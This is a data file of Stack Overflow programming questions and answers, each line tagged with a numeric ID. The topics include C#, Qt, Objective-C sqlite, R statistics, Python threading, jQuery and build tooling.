30628975	0	 <p><a href="http://stackoverflow.com/a/4636735/579148">This SO answer shows a way to convert a float array into a byte array</a>. Then you can use <a href="https://msdn.microsoft.com/en-us/library/system.io.file.writeallbytes(v=vs.110).aspx" rel="nofollow">File.WriteAllBytes() method</a> to write it out to a file. How MatLab reads it, though, will be the issue.</p> <p>I found <a href="http://www.mathworks.com/help/matlab/ref/fread.html" rel="nofollow">some documentation for MatLab for the <code>fread</code></a> command. It looks like is has some arguments that will allow you to define the precision of the read. You may be able to use "float" as the precision value. Though, the is a bit of an educated guess as I am not very familiar with MatLab.</p>
21631670	0	RabbitMQ best practice for creating many consumers <p>We are just starting to use RabbitMQ with C#. My current plan is to configure in the database the number and kind of consumers to run on a given server. We have an existing windows service and when that starts I want to spawn all of the RabbitMQ consumers. My question is what is the best way to spwan these from a windows service? </p> <p>My current plan is to read the configuration out of the database and spawn a long running task for each consumer. </p> <pre><code> var t = new Task(() =&gt; { var instance = LoadConsumerClass(consumerEnum, consumerName); instance.StartConsuming();//blocking call }, TaskCreationOptions.LongRunning); t.Start(); </code></pre> <p>Is this better or worse than creating a thread for each consumer?</p> <pre><code> var messageConsumer = LoadConsumerClass(consumerEnum, consumerName); var thread = new Thread(messageConsumer.StartConsuming); </code></pre> <p>I'm hoping that more than a few others have already tried what I'm doing and can provide me with some ideas for what worked well and what didn't.</p>
33734803	0	Overriding x-frame-options at page level <p>I am working on a .net application. There is an X-frame-options header included in the web.config file which is set to same origin. I want to override this for some specific pages to allow framing from some particular websites. Is there a way i can do this? If i set the header in html meta tag will that override the global setting? I have referred a similar question <a href="http://stackoverflow.com/questions/6666423/overcoming-display-forbidden-by-x-frame-options">Overcoming &quot;Display forbidden by X-Frame-Options&quot;</a> but this was posted way back in 2011 and there was a comment in the thread that mentioned this does not work any longer.</p>
19981768	0	 <p>Which theme are you using? Isn't there a sidebar block you can position the contact details in? You shouldn't need to do any floating to achieve this, but rather the positioning of the blocks should be happening at the theme layout and template level.</p>
16191858	0	How to speed up svm.predict? <p>I'm writing a sliding window to extract features and feed it into CvSVM's predict function. However, what I've stumbled upon is that the svm.predict function is relatively slow.</p> <p>Basically the window slides thru the image with fixed stride length, on number of image scales. </p> <ul> <li>The speed traversing the image plus extracting features for each window takes around 1000 ms (1 sec).</li> <li>Inclusion of weak classifiers trained by adaboost resulted in around 1200 ms (1.2 secs)</li> <li>However when I pass the features (which has been marked as positive by the weak classifiers) to svm.predict function, the overall speed slowed down to around 16000 ms ( 16 secs )</li> <li>Trying to collect all 'positive' features first, before passing to svm.predict utilizing TBB's threads resulted in 19000 ms ( 19 secs ), probably due to the overhead needed to create the threads, etc.</li> </ul> <p>My OpenCV build was compiled to include both TBB (threading) and OpenCL (GPU) functions. </p> <p>Has anyone managed to speed up OpenCV's SVM.predict function ? </p> <p>I've been stuck in this issue for quite sometime, since it's frustrating to run this detection algorithm thru my test data for statistics and threshold adjustment.</p> <p>Thanks a lot for reading thru this !</p>
26988117	0	 <p>You may create a trigger like this: on updating dbo.Parts table update dbo.part_numbers table and vice versa. Here is a MSDN article about triggers: <a href="http://msdn.microsoft.com/en-us/library/ms189799.aspx" rel="nofollow">http://msdn.microsoft.com/en-us/library/ms189799.aspx</a></p>
7274585	0	Linux find out Hyper-threaded core id <p>I spent this morning trying to find out how to determine which processor id is the hyper-threaded core, but without luck. </p> <p>I wish to find out this information and use <code>set_affinity()</code> to bind a process to hyper-threaded thread or non-hyper-threaded thread to profile its performance.</p>
3342725	0	 <p><code>DataTable</code> derives from <code>Object</code>, so can be assigned to any <code>Object</code> variable.</p> <p>From MSDN (<a href="http://msdn.microsoft.com/en-us/library/system.windows.forms.datagridview.datasource.aspx" rel="nofollow noreferrer">DataSource</a>):</p> <blockquote> <p>The DataGridView class supports the standard Windows Forms data-binding model. This means the data source can be of any type that implements one of the following interfaces:</p> <ul> <li>The IList interface, including one-dimensional arrays.</li> <li>The IListSource interface, such as the DataTable and DataSet classes.</li> <li>The IBindingList interface, such as the BindingList class.</li> <li>The IBindingListView interface, such as the BindingSource class.</li> </ul> </blockquote>
22861331	0	 <p>The "traditional" ways of using <code>AssemblyName.GetAssemblyName(string)</code> or <code>FileVersionInfo</code> won't work as they aren't supported on .NET CF. To do this without using <code>Assembly.LoadFrom</code>, you will need to use P/Invoke to natively get the file version information. You can try this code (<em><strong>untested</strong></em>):</p> <pre><code>[DllImport("coredll", EntryPoint = "GetFileVersionInfo", SetLastError = true)] private static extern bool GetFileVersionInfo(string filename, int handle, int len, IntPtr buffer); [DllImport("coredll", EntryPoint = "GetFileVersionInfoSize", SetLastError = true)] private static extern int GetFileVersionInfoSize(string filename, ref int handle); [DllImport("coredll", EntryPoint = "VerQueryValue", SetLastError = true)] private static extern bool VerQueryValue(IntPtr buffer, string subblock, ref IntPtr blockbuffer, ref int len); public static Version GetFileVersionCe(string fileName) { int handle = 0; int length = GetFileVersionInfoSize(fileName, ref handle); Version v = null; if (length &gt; 0) { IntPtr buffer = System.Runtime.InteropServices.Marshal.AllocHGlobal(length); if (GetFileVersionInfo(fileName, handle, length, buffer)) { IntPtr fixedbuffer = IntPtr.Zero; int fixedlen = 0; if (VerQueryValue(buffer, "\\", ref fixedbuffer, ref fixedlen)) { byte[] fixedversioninfo = new byte[fixedlen]; System.Runtime.InteropServices.Marshal.Copy(fixedbuffer, fixedversioninfo, 0, fixedlen); v = new Version( BitConverter.ToInt16(fixedversioninfo, 10), BitConverter.ToInt16(fixedversioninfo, 8), BitConverter.ToInt16(fixedversioninfo, 14), BitConverter.ToInt16(fixedversioninfo, 12)); } } Marshal.FreeHGlobal(buffer); } return v; } </code></pre>
18687333	0	 <p><code>QString</code> offers the <code>arg</code> function:</p> <pre><code>QString("~Untitled %1").arg(armaTab-&gt;currentIndex() + 1) </code></pre>
13398017	0	 <p>Since this </p> <p><code>$("#offerd_desc li").css('opacity', '0');</code></p> <p>Sets the opacity INSTANT to 0, you would use the animation();</p> <pre><code>$("#offerd_desc li").mouseover({ $(this).stop().animate({opacity:0.5},500); }); $("#offerd_desc li").mouseout({ $(this).stop().animate({opacity:0.5},500); }); </code></pre> <p>Use stop() before you do animation, else it will cause flickering when you hover it fast. and i strongly recommend to use speeds such as 200 - 500 ms, cause else animation will take to long time.</p>
687383	0	 <p>First get the Type object using <code>Type.GetType(stringContainingTheGenericTypeArgument)</code></p> <p>Then use <code>typeof(Repository&lt;&gt;).MakeGenericType(theTypeObject)</code> to get a generic type.</p> <p>And finally use <code>Activator.CreateInstance</code></p>
13352986	0	 <p>There is no way to do this. Must be done manually.</p>
5021275	0	Accessing NI-VISA from Qt C++ 4.7 <p>I am developing a Windows (7) application using Qt (4.7.0) to call some methods in a DLL (NI visa32.dll) to communicate with instruments through the GPIB port. The manufacturer's header file is also available (visa.h).</p> <p>In the project file, I tried adding the path and library reference to the original places where the files are located at as:</p> <pre><code>INCLUDEPATH += "C:/Program Files/National Instruments/Shared/CVI/Include" LIBS += "C:/Windows/System32/visa32.dll" </code></pre> <p>but, I get the compilation error:</p> <pre><code>collect2: ld returned 1 exit status </code></pre> <p>Following the instructions in <a href="http://stackoverflow.com/questions/2590299/importing-dll-into-qt">Importing a DLL into Qt</a>, I created a "visa.a" from the "visa32.dll", and copied them to a subfolder "visa/lib", and added the path and library to the project file:</p> <pre><code>INCLUDEPATH += visa/include LIBS += -Lvisa/lib LIBS += -lvisa.a </code></pre> <p>I tried also with <code>-lvisa</code> or <code>-lvisa.dll</code>, but in all the cases I get also another compilation error saying that the <code>-lvisa</code>, <code>-lvisa.a</code> or <code>-lvisa.dll</code> is not found. I edited the original header file "visa.h", and prefixed with Q_DECL_IMPORT every object in the file, and also made sure that the extern "C" statement be present.</p> <p>I include the reference to the header file in the application as:</p> <pre><code>#include "visa.h" </code></pre> <p>and note that the compiler does recognize the referenced objects belonging to the visa.h file.</p> <p>Any help to solve this compilation error will be greatly appreciated.</p> <hr> <p>I also tried with Visual C++ (2010) following the instructions of <a href="http://stackoverflow.com/questions/809948/dll-references-in-visual-c">DLL References in Visual C++</a>. In this case, I do not get any compilation error, but linking errors. For example: </p> <pre><code>AgiE364X.obj: error LNK2019: unresolved external symbol "extern "C" long __stdcall viClose(unsigned long)" </code></pre> <p>being viClose a called method in NI-VISA. </p> <p>I would prefer to use Qt C++ instead of Visual C++, though. </p> <p>Thanks in advance.</p>
27345140	0	 <p>Try putting in a break.</p> <pre><code>// As a side note: you can check at the very beginning to see that // the ID isn't being compromised by something by checking if // is_numeric. Also, you can save your 'fail' message until the very // end when checking that your $leadsource isset. These extra points // are not essential, but they will throw a fail at all points of the // code (if that is valuable at all to you) $sourcetracking = (isset($_GET['id']) &amp;&amp; is_numeric($_GET['id']))? $_GET['id']:false; if($sourcetracking !== false) { $LegacyIDLookupArray = array( '2612' =&gt; 'ADV-ShowProg', '2462' =&gt; 'ADV-ShowProg-3.5x7', '2422' =&gt; 'ADV-Mag-book' ); foreach ($LegacyIDLookupArray as $LegacyID =&gt; $Oldleadsource) { if($sourcetracking == $LegacyID) { $leadsource = &amp;$Oldleadsource; // This is where the break goes to stop your loop // when condition is met break; } } } // Your $leadsource OR fail is echoed here. echo (isset($leadsource))? $leadsource : "fail"; </code></pre>
3696383	0	Grails: Is there a debug flag I can check? <p>I have a few log.debugs() that I don't want to process (since they are heavy) unless the app is currently in debug mode (not production). </p> <p>Is there a way to check if the grails app is currently in debug mode/development mode?</p>
34854415	0	 <p>Do not use functions in templates when you can avoid this.</p> <pre><code>&lt;select ng-model="template"&gt; &lt;option value="test.html"&gt;first&lt;/option&gt; &lt;option value="test2.html"&gt;second&lt;/option&gt; &lt;/select&gt; &lt;div ng-include="template"&gt;&lt;/div&gt; </code></pre> <p><a href="http://plnkr.co/edit/osB9UiSzvF4IoqkizcOP?p=preview" rel="nofollow">http://plnkr.co/edit/osB9UiSzvF4IoqkizcOP?p=preview</a></p>
6897996	0	 <pre><code>- (IBAction)own { if (thing.hidden == NO) { int rNumber = rand() % 4; NSString *myText = @""; // switch (rNumber) { case 0: myText = @"A"; break; case 1: myText = @"B"; break; case 2: myText = @"C"; break; case 3: myText = @"D"; break; default: break; } result.text = myText; } if (thing.hidden == YES) { int rNumber = rand() % 3; </code></pre>
32512845	0	 <p>The two standard patterns for High Availability NAT are:</p> <ul> <li><a href="https://aws.amazon.com/articles/2781451301784570" rel="nofollow">High Availability for Amazon VPC NAT Instances: An Example</a></li> <li><a href="https://aws.amazon.com/articles/5995712515781075" rel="nofollow">Using Squid Proxy Instances for Web Service Access in Amazon VPC: An Example</a> (Uses proxies instead of route tables, I think)</li> </ul> <p>If you are using the NAT for traffic to Amazon S3, you can also take advantage of <a href="https://aws.amazon.com/blogs/aws/new-vpc-endpoint-for-amazon-s3/" rel="nofollow">VPC Endpoint for S3</a> to reduce the reliance on having a HA NAT.</p>
18557551	0	 <p>Because the connection <em>is</em> established. Calling accept() isn't a pre-requisite for that. The system accepts incoming connections and enqueues them to the backlog queue. Calling accept() just removes an item from the queue, blocking while it is empty.</p>
3491746	0	 <p>Edit: Actually I can get this error message by using a scalar function as if it was a table valued function. </p> <p><strong>Don't use</strong></p> <pre><code>SELECT * from [dbo].[calculatecptcodeprice] (...) </code></pre> <p><strong>Use</strong></p> <pre><code>SELECT [dbo].[calculatecptcodeprice] (...) </code></pre> <p><strong>Other things to check</strong></p> <ol> <li>Permissions</li> <li>You are prefixing the function with the schema name when you use it.</li> <li>You are trying to use it from within the same database as you created it.</li> </ol>
32850431	0	 <p>Constructors are used to generate the "default" values in an object.<br> Once created, however, "getters" and "setters" are simply methods that allow you to access private members of that object. They're named as such because one name their methods <code>getValue()</code> to get a private variable named value from an object or <code>setValue(int)</code> to set it.</p> <p>It is often also convenient to do error-checking in these methods, and to call a selection of "setters" in the constructor to save on code or easily create multiple constructors.</p> <p>Here is an example:</p> <pre><code>class MyClass { private: int value; public: MyClass(int); void setValue(int); int getValue(); }; MyClass::MyClass(int _value) { setValue(_value); // pass to "setter" } void MyClass::setValue(int _value) { if (_value &gt; 0) // error-checking here value = _value; else value = 0; } int MyClass::getValue() { return value; } </code></pre>
30651349	0	Calculating cumulative hypergeometric distribution <p>Suppose I have 100 marbles, and 8 of them are red. I draw 30 marbles, and I want to know what's the probability that at least five of the marbles are red. I am currently using <a href="http://stattrek.com/online-calculator/hypergeometric.aspx" rel="nofollow">http://stattrek.com/online-calculator/hypergeometric.aspx</a> and I entered 100, 8, 30, and 5 for population size, number of success, sample size, and number of success in sample, respectively. So the probability I'm interested in is Cumulative Probability: $P(X \geq 5)$ which = 0.050 in this case. My question is, how do I calculate this in R?</p> <p>I tried</p> <pre><code>&gt; 1-phyper(5, 8, 92, 30, lower.tail = TRUE) [1] 0.008503108 </code></pre> <p>But this is very different from the previous answer.</p>
19196481	0	 <p><code>DateTime</code> is a value type object which mean that you cannot set it's value to <code>null</code>.</p> <p>Use the <code>DBNull.Value</code> to assign the data. </p> <hr> <p><a href="http://msdn.microsoft.com/en-us/library/s1ax56ch.aspx" rel="nofollow">Value Types</a></p>
19934433	0	 <p>I have found that the issue lies with the references to icon files and an older version of the jquery library being used. I'm still not sure why it wasn't an issue for IE, but was for chrome. </p> <p>My theory on why the incorrect reference to the icon file was causing a problem was that when no icons were rendered on the Dynatree object, Chrome did not insert any "pixel address" on which to click. I realize that is not the correct term, but it is my theory. In IE, it did not seem to be a problem.</p> <p>When I rendered the page after correcting the reference to the icon file, all worked as expected.</p>
40625227	0	Multithreading in windows service <p>I am designing a solution for a client where in data has to be polled from SQL table and a request is to be sent to a WCF service with a request formed from that data. The response of the WCF service will contain additional data that has to be updated in the SQL table again.</p> <p>For e.g. in TableA there are 6 columns namely primaryKeyColumn,columnA, columnB, columnC, columnD and columnE.</p> <p>The WCF request will contain data from columns A,B and C. The service response will contain data for all 5 columns. The data of columns D and E needs to be updated for that row in the tableA.</p> <p>I have thought of implementing this using Windows service. To increase the performance I am thinking to implementing multi threading in this solution.</p> <p>Can some one guide me in this ? I have never used multi threading in windows service before. What are the risks ?</p>
37526756	0	 <p>Use Google Place api will help you to know about particular place <a href="https://developers.google.com/maps/documentation/android-api/infowindows#custom_info_windows" rel="nofollow">link</a></p>
2406931	0	how to solve ran time error NSString, sqlite3_column_text NULL problem? <p>I am new in iphone application developer i am using sqlite3 database and in app delegate i am wright following code and run properly we also find value from database to in my aplication, </p> <p>but immediately the application is going to crass why this is occurs i am not understand. </p> <p>code is given bellow</p> <pre><code> -(void)Data { databaseName = @"dataa.sqlite"; NSArray *documentPaths = NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES); NSString *documentsDir = [documentPaths objectAtIndex:0]; databasePath =[documentsDir stringByAppendingPathComponent:databaseName]; [self checkAndCreateDatabase]; list1 = [[NSMutableArray alloc] init]; sqlite3 *database; if (sqlite3_open([databasePath UTF8String], &amp;database) == SQLITE_OK) { if(detailStmt == nil) { const char *sql = "Select * from Dataa"; if(sqlite3_prepare_v2(database, sql, -1, &amp;detailStmt, NULL) == SQLITE_OK) { //NSLog(@"Hiiiiiii"); //sqlite3_bind_text(detailStmt, 1, [t1 UTF8String], -1, SQLITE_TRANSIENT); //sqlite3_bind_text(detailStmt, 2, [t2 UTF8String], -2, SQLITE_TRANSIENT); //sqlite3_bind_int(detailStmt, 3, t3); while(sqlite3_step(detailStmt) == SQLITE_ROW) { //NSLog(@"Helllloooooo"); NSString *item= [NSString stringWithUTF8String:(char *)sqlite3_column_text(detailStmt, 0)]; //NSString *fame= [NSString stringWithUTF8String:(char *)sqlite3_column_text(detailStmt, 1)]; //NSString *cinemax = [NSString stringWithUTF8String:(char *)sqlite3_column_text(detailStmt, 2)]; //NSString *big= [NSString stringWithUTF8String:(char *)sqlite3_column_text(detailStmt, 3)]; //pvr1 = pvr; item1=item; //NSLog(@"%@",item1); data = [[NSMutableArray alloc] init]; list *animal=[[list alloc] initWithName:item1]; // Add the animal object to the animals Array [list1 addObject:animal]; //[list1 addObject:item]; } sqlite3_reset(detailStmt); } sqlite3_finalize(detailStmt); // sqlite3_clear_bindings(detailStmt); } } detailStmt = nil; sqlite3_close(database); </code></pre> <p>}</p> <p>when we see console they show the following error giving bellow </p> <pre><code> 2010-03-09 10:02:40.262 SanjeevKapoor[430:20b] *** Terminating app due to uncaught exception 'NSInvalidArgumentException', reason: '*** +[NSString stringWithUTF8String:]: NULL cString' </code></pre> <p>when we see debugger they show error in following line</p> <pre><code> NSString *item= [NSString stringWithUTF8String:(char *)sqlite3_column_text(detailStmt, 0)]; </code></pre> <p>I am not able to solve that problum plz help me.</p>
30193970	0	Animate when the first image is loaded <p>I want to animate an element only when this element is loaded ( with the background ). I tryed this but doesn't work:</p> <p>CSS:</p> <pre><code>#topimg{ background: rgba(0, 0, 0, 0) url(../img/bg.jpg) 0 0 no-repeat fixed; background-size: cover; } </code></pre> <p>HTML:</p> <pre><code>&lt;div id="topimg"&gt; &lt;/div&gt; </code></pre> <p>JAVASCRIPT:</p> <pre><code>$('#topimg').load(function() { $('#topimg').css({opacity: 0}).animate({opacity: 1}, {duration: 1500}); }); </code></pre>
39439488	0	Include LaTeX code from R objects into markdown <p>I am writing up a report where the output gets pushed to a <code>xlsx</code> document via <code>library(xlsx)</code>. This data then feeds into a table especially formatted with LaTeX code that formats the output:</p> <pre><code>```{r import_results, echo = F} if(!file.exists("Analysis/results.xlsx")){ wb &lt;- xlsx::createWorkbook(type = "xlsx") sheets &lt;- xlsx::createSheet(wb, "data") }else{ wb &lt;- loadWorkbook("Analysis/results.xlsx") sheets &lt;- removeSheet(wb, "data") sheets &lt;- xlsx::createSheet(wb, "data") } getSheets(wb) addDataFrame(sheet = sheets, x = Results1) addDataFrame(sheet = sheets, x = Results2, startRow = nrow(Results1)+2) addDataFrame(sheet = sheets, x = Results3, startRow = nrow(Results1)+ nrow(Results2) + 4) xlsx::saveWorkbook(wb, "Analysis/results.xlsx") } </code></pre> <p><a href="https://i.stack.imgur.com/C57f1.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/C57f1.jpg" alt="Excel view"></a> After writing to sheet that table data is linked to, I read it back into R, now with all the LaTeX in the cells and in essence I want to <code>cat</code> results so they are LaTeX code, but it prints the <code>data.frame</code> as a long string when I <code>knit</code>:</p> <pre><code>```{r, echo = F, results='asis'} wb &lt;- read.xlsx("Analysis/results.xlsx", sheetName = "import", header=F) row.names(wb) &lt;-NULL wb ``` </code></pre> <p><a href="https://i.stack.imgur.com/Fwk7K.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/Fwk7K.jpg" alt="Output"></a></p> <p>What is the appropriate way to automate this cross platform integration?</p>
38330493	1	How can I acquire data from live experimentation and do a live 2D plot using threads? <p>I need to take data from an instrument and live 2D plot them. I can do it without threads, but it is slow ... How could I proceed without having errors like "QObject::setParent: Cannot set parent, new parent is in a different thread", "QApplication: Object event filter cannot be in a different thread" and "QPixmap: It is not safe to use pixmaps outside the GUI thread". I used this code as a test:</p> <pre><code> import threading import time import numpy as np import matplotlib.pyplot as plt class myThread (threading.Thread): def __init__(self, threadID, name, counter): threading.Thread.__init__(self) self.threadID = threadID self.name = name self.counter = counter s=(6,6) self.x=np.zeros(s) def run(self): print "Starting " + self.name threadLock.acquire() if self.threadID==1: acquire_data(self.x) count_to_three(self.name,1) plot_it(self.x) count_to_three(self.name,1) print "Exiting "+ self.name if self.threadID==2: count_to_three(self.name,1) print "Exiting "+ self.name threadLock.release() def print_time(threadName, delay, counter): while counter: time.sleep(delay) print "%s: %s" % (threadName, time.ctime(time.time())) counter -= 1 def count_to_three(threadName,delay): i=0 while i&lt;4: time.sleep(delay) print"%s: %s" % (threadName,i) i+=1 def acquire_data(x): return def plot_it(x): sidex = np.linspace(0,6,6) sidey = np.linspace(0,6,6) X,Y = np.meshgrid(sidex,sidey) plt.subplot(111) plt.pcolormesh(X,Y,x) return # Create new threads plt.figure() threadLock=threading.Lock() while True: threads=[] thread1 = myThread(1, "Thread-1", 3) thread2 = myThread(2, "Thread-2", 2) # Start new Threads thread1.start() thread2.start() # Add threads to thread list threads.append(thread1) threads.append(thread2) for t in threads: plt.show() t.join() </code></pre>
16248115	0	 <pre><code>"select * from products where 1".cleanstring($stringval); function cleanstring($var) { $color_list = array('GOLD','RED','GREEN','WHITE'); $sql_where=''; foreach( $color_list AS $v){ if(strpos($var, $v)!==false){ $sql_where .=" AND color LIKE '%{$v}%'"; } } return $sql_where; } //select * from products where 1 OR color LIKE '%GOLD%' OR color LIKE '%RED%' </code></pre> <p>REMARK:</p> <p>input: GOLDRED ,</p> <p>match: GOLD RED,GOLD-RED,GOLD/RED..... GOLD/RED/ABC,RED_GOLDGREEN, </p> <p>may be after get all data , then make func ranking by match % ,like search engine </p>
36224422	1	Python Turtle Positional Errors <p>I've been trying to scale a Turtle drawing by a single axis and after some testing, I managed the following function:</p> <pre><code>def DrawSquare(length=50.0, Yscale=2): setheading(0) for n in range(0,4): oldYcor = int(ycor()) oldPos = pos() penup() forward(length) newYcor = int(ycor()) print 'OldYcor = ', int(oldYcor) print 'NewYcor = ', int(newYcor) print '------' setpos(oldPos) pendown() if (oldYcor == newYcor): print 'dont scale' forward(length) elif (oldYcor != newYcor): print 'scale' forward(length*Yscale) left(90) penup() speed('slowest') goto(0,0) #TESTS DrawSquare(50.0, 2) DrawSquare(50.0, 2) DrawSquare(50.0, 2) DrawSquare(50.0, 2) </code></pre> <p>The output of these tests should just be four overlapping squares scaled on the y axis, but for some very strange reason Python is randomly changing my Y values before and after a movement by 1 unit, when they should be the same. (for instance, a line being drawn horizontally has an oldYcor of 99, but a newYcor of 100), which completely breaks my code and produces the squares out of place.</p> <p>Another strange thing i noticed is that without converting the turtle's ycor() to an int, the print statements display some bizarre values that dont make any sense to me...</p> <p>I appreciate any help!!</p>
3499987	0	 <p>You need the GLOBAL <code>g</code> switch.</p> <p>s/^#(.+)/$1/g</p>
5411757	1	Problem writing unicode UTF-16 data to file in python <p>I'm working on Windows with Python 2.6.1.</p> <p>I have a Unicode UTF-16 text file containing the single string Hello, if I look at it in a binary editor I see:</p> <pre><code>FF FE 48 00 65 00 6C 00 6C 00 6F 00 0D 00 0A 00 BOM H e l l o CR LF </code></pre> <p>What I want to do is read in this file, run it through Google Translate API, and write both it and the result to a new Unicode UTF-16 text file.</p> <p>I wrote the following Python script (actually I wrote something more complex than this with more error checking, but this is stripped down as a minimal test case):</p> <pre><code>#!/usr/bin/python import urllib import urllib2 import sys import codecs def translate(key, line, lang): ret = "" print "translating " + line.strip() + " into " + lang url = "https://www.googleapis.com/language/translate/v2?key=" + key + "&amp;source=en&amp;target=" + lang + "&amp;q=" + urllib.quote(line.strip()) f = urllib2.urlopen(url) for l in f.readlines(): if l.find("translatedText") &gt; 0 and l.find('""') == -1: a,b = l.split(":") ret = unicode(b.strip('"'), encoding='utf-16', errors='ignore') break return ret rd_file_name = sys.argv[1] rd_file = codecs.open(rd_file_name, encoding='utf-16', mode="r") rd_file_new = codecs.open(rd_file_name+".new", encoding='utf-16', mode="w") key_file = open("api.key","r") key = key_file.readline().strip() for line in rd_file.readlines(): new_line = translate(key, line, "ja") rd_file_new.write(unicode(line) + "\n") rd_file_new.write(new_line) rd_file_new.write("\n") </code></pre> <p>This gives me an almost-Unicode file with some extra bytes in it:</p> <pre><code>FF FE 48 00 65 00 6C 00 6C 00 6F 00 0D 00 0A 00 0A 00 20 22 E3 81 93 E3 82 93 E3 81 AB E3 81 A1 E3 81 AF 22 0A 00 </code></pre> <p>I can see that 20 is a space, 22 is a quote, I assume that "E3" is an escape character that urllib2 is using to indicate that the next character is UTF-16 encoded??</p> <p>If I run the same script but with "cs" (Czech) instead of "ja" (Japanese) as the target language, the response is all ASCII and I get the Unicode file with my "Hello" first as UTF-16 chars and then "Ahoj" as single byte ASCII chars.</p> <p>I'm sure I'm missing something obvious but I can't see what. I tried urllib.unquote() on the result from the query but that didn't help. I also tried printing the string as it comes back in f.readlines() and it all looks pretty plausible, but it's hard to tell because my terminal window doesn't support Unicode properly.</p> <p>Any other suggestions for things to try? I've looked at the suggested dupes but none of them seem to quite match my scenario.</p>
22641032	0	 <p>Do you have the SVN Ant tasks defined? In our build we have this line at the top:</p> <pre><code>&lt;typedef resource="org/tigris/subversion/svnant/svnantlib.xml" classpath="svnant.jar"/&gt; </code></pre> <p>and then we can reference the task just fine.</p>
30965893	0	Swift Error: Consecutive declarations on a line must be separated by ';' <p>This is my code:</p> <pre><code>import UIKit class PlaylistMasterViewController: UIViewController { @IBOutlet weak var abutton: UIButton! override func viewDidLoad() { super.viewDidLoad() abutton.setTitle("Press me!", forState: .Normal) } override func didReceiveMemoryWarning() { super.didReceiveMemoryWarning() // Dispose of any resources that can be recreated. } override func prepareForSegue(segue: UIStoryboardSegue, sender: AnyObject?) { if segue.identifier == "showPlaylistDetailSegue" { let playlistDetailController = segue.destinationViewController as! PlaylistDetailViewController playlistDetailController.segueLabelText = "Yay!You Pressed" } } </code></pre> <p>I am getting error on the last line! my xCode version is 6.3.2 .. and I can't overcomer this because the app is always failing. I am getting here two errors: 1- Consecutive declarations on a line must be separated by ';' 2- Expected Declaration</p> <p>Thanks in advance</p>
25363871	0	NA/NaN/Inf error when fitting HMM using depmixS4 in R <p>I'm trying to fit simple hidden markov models in R using depmix. But I sometimes get obscure errors (Na/NaN/Inf in foreign function call). For instance</p> <pre><code> require(depmixS4) t = data.frame(v=c(0.0622031327669583,-0.12564002739468,-0.117354660120178,0.0115062213361335,0.122992418345013,-0.0177816909620965,0.0164821157439354,0.161981367176501,-0.174367935386872,0.00429417498601576,0.00870091566593177,-0.00324734222267713,-0.0609817740148078,0.0840679943325736,-0.0722982123741866,0.00309386232501072,0.0136237132601905,-0.0569072400881981,0.102323872007477,-0.0390675463642003,0.0373248728294635,-0.0839484669503484,0.0514620475651086,-0.0306598076180909,-0.0664992242224042,0.826857872461293,-0.172970803143762,-0.071091459861684,-0.0128631184461384,-0.0439382422065227,-0.0552809574423446,0.0596321725192134,-0.06043926984848,0.0398700063815422)) mod = depmix(response=v~1, data=t, nstates=2) fit(mod) ... NA/NaN/Inf in foreign function call (arg 10) </code></pre> <p>And I can have input of almost identical size and complexity work fine...Is there a preferred tool to depmixS4 here?</p>
32758318	0	 <p>You can use <code>godep save</code> in your local pc where you complete your program. godep save collect all the dependency files for you. When you move to other pc, just copy the Godep folder with your code and it will solve your problems.</p>
911612	0	 <p>Project Euler isn't fond of discussing problems on public forums like StackOverflow. All tasks are made to be done solo, if you encounter problems you may ask help for a specific mathematical or programming concept, but you can't just decide to ask how to solve the problem at hand - takes away the point of project Euler.</p> <p>Point is to learn and come up with solutions yourself, and learn new concepts.</p>
40908974	0	Extjs 5 - Date picker year only <p>I would like date picker without day or month, just with year.</p> <p>I would like this </p> <p><a href="http://stackoverflow.com/questions/28167452/extjs-5-date-picker-year-and-month-only">EXTJS 5 - Date picker year and month only</a> </p> <p>but without month, just year.</p> <p>Thanks</p>
21593785	0	 <p>You need to add <code>- (IBAction)filebrowserbutton:(id)sender;</code> to your header file and connect it to your button's <code>touchDown</code> method.</p>
17814498	0	 <p>Add</p> <pre><code>gem 'therubyracer' </code></pre> <p>to your <code>Gemfile</code>. Then run</p> <pre><code>bundle </code></pre> <p>The error occurs because you don't have JavaScript runtime environment, which is needed by <code>Asset Pipeline</code>. </p>
31248792	0	Mysql ssl connection with real connect giving error <p>I am getting this error while trying to connect mysql on SSL.</p> <blockquote> <p>Warning: mysqli_real_connect() [function.mysqli-real-connect]: SSL operation failed with code 1. OpenSSL Error messages: error:14082174:SSL routines:SSL3_CHECK_CERT_AND_ALGORITHM:dh key too small in /usr/www/test/testing.php on line 13</p> </blockquote> <p>This works fine on my local wamp or xampp but not on the hosting web server</p> <p>What can be done to solve this ? Any help will be appreciated.</p> <p><strong>After Notes -</strong></p> <p>I was originally using </p> <pre><code>$db-&gt;ssl_set('client-key.pem', 'client-cert.pem', 'ca-cert.pem', NULL, 'NULL'); </code></pre> <p>and it used to work fine for years but only after we upgraded to different SSL certs it stopped working. </p> <p>It should be what Mel_T just answered.. </p>
11749138	0	Automatic dependencies in TeamCity (or other continuous build)? <p>I'm thinking of implementing a really large continuous build at work (hundreds of Visual Studio solutions, thousands of projects). It includes .NET, C++, and VB6 code. We have some solutions building on TeamCity, but dependencies aren't set up right. Keeping the dependencies in sync between source code and TeamCity (or another tool) sounds totally unrealistic at this scale. <strong>Does anyone know if there is a tool/plugin to detect solution dependencies automatically in TeamCity? How about with other continuous integration tools?</strong> Even if it only works on .NET projects, that would still be a big help.</p> <p>I found a small, command line tool (<a href="http://gittup.org/tup" rel="nofollow">gittup.org/tup</a>) that says it infers dependencies by monitoring file access. It seems possible to apply this technique to a larger scale build tool, but I don't know if it's been done. Or maybe there is a whole other solution out there.</p>
